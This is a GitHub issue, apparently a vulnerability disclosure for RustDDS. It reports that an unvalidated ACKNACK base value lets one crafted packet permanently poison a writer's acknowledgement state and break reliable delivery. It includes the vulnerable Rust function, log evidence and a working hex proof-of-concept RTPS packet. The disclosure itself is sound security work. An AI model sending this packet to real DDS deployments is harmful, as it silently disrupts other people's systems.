Skip to content

Malformed ACKNACK with oversized base permanently corrupts RtpsReaderProxy::all_acked_before, breaking reliable delivery #405

@TUPYP7180

Description

@TUPYP7180

Summary

Component: src/rtps/rtps_reader_proxy.rs, src/rtps/writer.rs

RustDDS accepts an ACKNACK submessage's readerSNState.base value from the network without validating that it falls within the range of sequence numbers the Writer has actually sent. A single crafted ACKNACK containing an artificially large base (e.g., 4611686018427387993, close to i64::MAX/2) permanently sets RtpsReaderProxy::all_acked_before to a near-maximum value.

After this injection, every subsequent legitimate ACKNACK from any real Reader has a base lower than the poisoned value, so the anti-rollback guard (new_acked > self.all_acked_before) rejects them all indefinitely. The Writer incorrectly believes the Reader has already acknowledged samples it never received, drains its history buffer, and can no longer retransmit them. Reliable QoS delivery is permanently broken without any crash, panic, or ASAN alert.

Affected Version

  • RustDDS: v0.11.9
  • OS: Ubuntu 22.04 (Linux 6.8.0, x86_64)
  • Compiler: Rust stable (no sanitizer)

Root Cause

handle_ack_nack() in src/rtps/rtps_reader_proxy.rs directly trusts the network-supplied base value:

pub fn handle_ack_nack(&mut self, sn_state: SequenceNumberSet) {
    let new_acked = sn_state.base() - SequenceNumber::from(1);
    if new_acked > self.all_acked_before {
        self.all_acked_before = new_acked;  // no upper-bound validation
    } else {
        error!(
            "all_acked_before updated backwards! old={:?} new={:?}",
            self.all_acked_before, new_acked
        );
    }
}

There is no check that new_acked ≤ last_change_sequence_number (the Writer's highest sent sequence number). An attacker who sends base = 4611686018427387993 causes all_acked_before to be set to 4611686018427387992. All future legitimate ACKNACKs (whose base reflects the actual received sequence numbers) are then permanently rejected as "backwards."

The RTPS 2.3 specification (§8.3.7.1) explicitly requires that a Writer discard an ACKNACK whose SNState references sequence numbers the Writer has never sent.

Proof of Concept

Minimal malformed UDP payload that injects the large sequence number:

# RTPS packet with crafted ACKNACK submessage
# ACKNACK base = 4611686018427387993 (0x4000000000000059)
#   → all_acked_before becomes 4611686018427387992

52 54 50 53  # RTPS magic
02 04        # Protocol version 2.4
01 0F        # Vendor ID
C0 A8 01 02 00 00 00 00 00 00 00 00  # GUID prefix (12 bytes)
# ACKNACK submessage (kind = 0x06)
06 01        # submessage ID + flags (little-endian)
1C 00        # octetsToNextHeader = 28
03 00 00 07  # readerId
03 00 00 02  # writerId
00 00 00 40  # bitmapBase.high = 0x40000000
59 00 00 00  # bitmapBase.low  = 0x59  → base = 0x4000000000000059
00 00 00 00  # numBits = 0
01 00 00 00  # count = 1

Hex string:

525450530204010FC0A8010200000000000000000601 1C00 03000007 03000002 00000040 59000000 00000000 01000000

Observed Log Evidence

Captured from the RTPS background thread after the malformed ACKNACK was received:

[ERROR rustdds::rtps::rtps_reader_proxy]
    all_acked_before updated backwards!
    old=SequenceNumber(4611686018427387992) new=SequenceNumber(89)

[ERROR rustdds::rtps::rtps_reader_proxy]
    all_acked_before updated backwards!
    old=SequenceNumber(4611686018427387992) new=SequenceNumber(89)

The error repeats every few seconds as the Reader sends new (legitimate) ACKNACKs, all of which are rejected. The all_acked_before field never advances from the injected value. The process does not crash.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions